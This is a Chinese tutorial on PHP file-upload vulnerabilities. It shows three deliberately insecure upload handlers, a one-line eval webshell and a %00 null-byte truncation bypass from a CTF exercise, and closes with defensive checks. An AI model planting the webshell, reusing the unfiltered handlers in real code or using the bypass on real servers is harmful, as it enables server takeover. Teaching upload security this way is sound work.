-
为了让用户将文件上传到网站,就像是给危机服务器的恶意用户打开了另一扇门。即便如此,在今天的现代互联网的Web应用程序,它是一种常见的要求,因为它有助于提高业务效率。企业支持门户,给用户各企业员工有效地共享文件。允许用户上传图片,视频,头像和许多其他类型的文件。向用户提供的功能越多,Web应用受到攻击的风险和机会就越大,这种功能会被恶意用户利用,获得到一个特定网站的权限,或危及服务器的可能性是非常高的。
-
上传文件的时候,如果服务器脚本语言,未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件,包括上传脚本文件。
-
如果是正常的PHP文件,对服务器则没有任何危害。
-
PHP可以像其他的编程语言一样,可以查看目录下的文件,查看文件中的吗内容,可以执行系统命令等。
-
上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的PHP文件,从而控制整个网站,甚至是服务器。这个恶意的PHP文件,又被称为WebShell。
-
服务器配置不当
-
开源编辑器的上传漏洞
-
本地文件上传限制被绕过
-
过滤不严或被绕过
-
文件解析漏洞导致文件执行
-
文件路径截断
-
裸体的文件上传
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
<!DOCTYPE html>
<html>
<head>
<title>文件信息</title>
</head>
<meta charset=
"utf-8"
>
<body>
<form action=
""
enctype=
"multipart/form-data"
method=
"POST"
name=
"uploadfile"
>
上传文件: <input type=
"file"
name=
"upfile"
/>
<input type=
"submit"
value=
"上传"
name=
"submit"
>
</form>
</body>
</html>
<!-- 完全没有过滤,任意文件上传 -->
<?php
if
(isset(
$_POST
[
'submit'
])) {
var_dump(
$_FILES
[
'upfile'
]);
echo
"文件名:"
.
$_FILES
[
'upfile'
][
'name'
].
"<br />"
;
echo
"文件大小:"
.
$_FILES
[
'upfile'
][
'size'
].
"<br />"
;
echo
"文件类型:"
.
$_FILES
[
'upfile'
][
'type'
].
"<br />"
;
echo
"临时路径:"
.
$_FILES
[
'upfile'
][
'tmp_name'
].
"<br />"
;
echo
"上传后系统返回值:"
.
$_FILES
[
'upfile'
][
'error'
].
"<br />"
;
echo
"====================保存分各线========================<br />"
;
if
(
$_FILES
[
'upfile'
][
'error'
] == 0) {
if
(!
is_dir
(
"./upload"
)) {
mkdir
(
"./upload"
);
}
$dir
=
"./upload/"
.
$_FILES
[
'upfile'
][
'name'
];
move_uploaded_file(
$_FILES
[
'upfile'
][
'tmp_name'
],
$dir
);
echo
"文件保存路径:"
.
$dir
.
"<br />"
;
echo
"上传成功...<br />"
;
echo
"图片预览:<br />"
;
echo
"<img src="
.
$dir
.
">"
;
}
}
?>
|
-
穿上下内衣的文件上传
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
<!DOCTYPE html>
<html>
<head>
<title>文件信息</title>
</head>
<meta charset=
"utf-8"
>
<body>
<form action=
""
enctype=
"multipart/form-data"
method=
"POST"
name=
"uploadfile"
>
上传文件: <input type=
"file"
name=
"upfile"
/>
<input type=
"submit"
value=
"上传"
name=
"submit"
>
</form>
</body>
</html>
<!-- 按文件类型过滤 -->
<?php
if
(isset(
$_POST
[
'submit'
])) {
var_dump(
$_FILES
[
'upfile'
]);
echo
"文件名:"
.
$_FILES
[
'upfile'
][
'name'
].
"<br />"
;
echo
"文件大小:"
.
$_FILES
[
'upfile'
][
'size'
].
"<br />"
;
echo
"文件类型:"
.
$_FILES
[
'upfile'
][
'type'
].
"<br />"
;
echo
"临时路径:"
.
$_FILES
[
'upfile'
][
'tmp_name'
].
"<br />"
;
echo
"上传后系统返回值:"
.
$_FILES
[
'upfile'
][
'error'
].
"<br />"
;
echo
"====================保存分各线========================<br />"
;
$flag
= 0;
switch
(
$_FILES
[
'upfile'
][
'type'
]) {
case
'image/jpeg'
:
$flag
= 1;
break
;
default
:
die
(
"文件类型错误....."
);
break
;
}
if
(
$_FILES
[
'upfile'
][
'error'
] == 0 &&
$flag
) {
if
(!
is_dir
(
"./upload"
)) {
mkdir
(
"./upload"
);
}
$dir
=
"./upload/"
.
$_FILES
[
'upfile'
][
'name'
];
move_uploaded_file(
$_FILES
[
'upfile'
][
'tmp_name'
],
$dir
);
echo
"文件保存路径:"
.
$dir
.
"<br />"
;
echo
"上传成功...<br />"
;
echo
"图片预览:<br />"
;
echo
"<img src="
.
$dir
.
">"
;
}
}
?>
|
1
2
3
4
|
<?php
@
eval
(
$_POST
[
'xxx'
]);
echo
"dahuiji...."
;
?>
|
-
穿上上内衣的文件上传(一个十六进制的<00>截断的ctf)
1
|
url:http://ctf4.shiyanbar.com/web/upload/
|
1
2
3
4
5
6
7
8
9
|
1.为什么在文件后面加上<.jpg>和在数据包<
uploads
/>后面加上修改后的文件名?
PHP在对文件后缀进行判断时是对最后一个 <.xxx> 来判断的。这样我们修改过后的文件
名,PHP会将其判断为.jpg文件这样我们可以绕过对文件名的检测。
2.为什么我们对文件名修改过后还需要添加%00截断?
尽管我们知道我们上传的是一个PHP文件,但是如果不进行%00截断,我们上传的文件在服务
器上是以<
xxx.php.jpg
>格式保存也就是说这是一个图片文件,PHP是不会解析这个文件。
当我们进行%00截断后,服务器就会将%00后的<.jpg>进行截断,这是我们的的文件将以<
xxx.php
>
的形式保存在服务器上,我们的一句话木马也就成功的时上传成功了。
|
-
穿上外套的文件上传
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
<!DOCTYPE html>
<html>
<head>
<title>文件信息</title>
</head>
<meta charset=
"utf-8"
>
<body>
<form action=
""
enctype=
"multipart/form-data"
method=
"POST"
name=
"uploadfile"
>
上传文件: <input type=
"file"
name=
"upfile"
/>
<input type=
"submit"
value=
"上传"
name=
"submit"
>
</form>
</body>
</html>
<?php
if
(isset(
$_POST
[
'submit'
])) {
var_dump(
$_FILES
[
'upfile'
]);
echo
"文件名:"
.
$_FILES
[
'upfile'
][
'name'
].
"<br />"
;
echo
"文件大小:"
.
$_FILES
[
'upfile'
][
'size'
].
"<br />"
;
echo
"文件类型:"
.
$_FILES
[
'upfile'
][
'type'
].
"<br />"
;
echo
"临时路径:"
.
$_FILES
[
'upfile'
][
'tmp_name'
].
"<br />"
;
echo
"上传后系统返回值:"
.
$_FILES
[
'upfile'
][
'error'
].
"<br />"
;
echo
"====================保存分各线========================<br />"
;
$flag
= 0;
$path_parts
=
pathinfo
(
$_FILES
[
'upfile'
][
'name'
]);
echo
'---<br>'
;
var_dump(
$path_parts
);
//返回文件路径信息
if
(
$path_parts
[
'extension'
] ==
'jpg'
&&
$_FILES
[
'upfile'
][
'type'
] ==
'image/jpeg'
) {
$flag
= 1;
}
else
{
die
(
"文件类型错误...."
);
}
if
(
$_FILES
[
'upfile'
][
'error'
] == 0 &&
$flag
) {
if
(!
is_dir
(
"./upload"
)) {
mkdir
(
"./upload"
);
}
$dir
=
"./upload/"
.
$_FILES
[
'upfile'
][
'name'
];
echo
"文件保存路径:"
.
$dir
.
"<br />"
;
move_uploaded_file(
$_FILES
[
'upfile'
][
'tmp_name'
],
$dir
);
echo
"上传成功...<br />"
;
echo
"图片预览:<br />"
;
echo
"<img src="
.
$dir
.
">"
;
}
}
?>
|
1
2
3
4
5
6
7
|
为什么这次不能进行绕过?
我们对文件名进行截断后,当数据包到Apache的时候,Apache会对截断处理这时截断的文件
名变为<
xxx.php
>当PHP判断时会发现文件的后缀为<
php
>,然后我们就上传失败了....
(以上只是我对上传失败的一点理解,欢迎指正。
欢迎技术讨论,可以将上述方法绕过的同学欢迎指教。
致谢...)
|
-
对面文件后缀进行检测
-
对文件类型进行检测
-
对文件内容进行检测
-
设置上传白名单